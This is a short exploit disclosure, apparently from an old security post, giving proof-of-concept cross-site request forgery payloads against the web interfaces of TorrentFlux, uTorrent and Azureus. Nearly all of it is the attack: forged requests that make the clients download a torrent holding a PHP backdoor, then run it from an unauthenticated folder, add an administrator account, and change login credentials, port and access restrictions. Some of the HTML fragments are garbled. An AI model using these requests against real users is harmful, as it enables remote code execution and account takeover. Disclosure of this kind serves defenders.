The following are proof of concept exploits against three bittorrent clients.  uTorrent' WebUI, Azurues's "HTML WebUI", and TorrentFlux.

More information:
http://www.rooksecurity.com/blog/?p=10

TorrentFlux v2.3(Latest)
http://sourceforge.net/projects/torrentflux/

If you force TorrentFlux to download a torrent that contains a file backdoor.php you will be able to execute it by browsing here:
http://localhost/torrentflux_2.3/html/downloads/USER_NAME/
You do not have to know a password to access this folder, but you will have to know the username.

">action="http://localhost/torrentflux_2.3/html/index.php">
">value="http://localhost/backdoor.php.torrent">






Add an admistrative account:
action==94http://localhost/torrentflux_2.3/html/admin.php?op=addUser=94>









uTorrent=92s WebUI is also affected:
http://forum.utorrent.com/viewtopic.php?id=14565
force file download:
http://127.0.0.1:8080/gui/?action=add-url&s=http://localhost/backdoor.torrent

utorrent change administrative login information:
http://127.0.0.1:8080/gui/?action=setsetting&s=webui.username&v=badmin
http://127.0.0.1:8080/gui/?action=setsetting&s=webui.password&v=badmin
http://127.0.0.1:8080/gui/?action=setsetting&s=webui.port&v=4096
After the username or password have been changed then the browser must re-authenticate.
http://127.0.0.1:8080/gui/?action=setsetting&s=webui.restrict&v=127.0.0.1/24,10.1.1.1
So is Azurues=92s HTML WebUI:
Force file download:
http://127.0.0.1:6886/index.tmpl?d=u&upurl=http://localhost/backdoor.torrent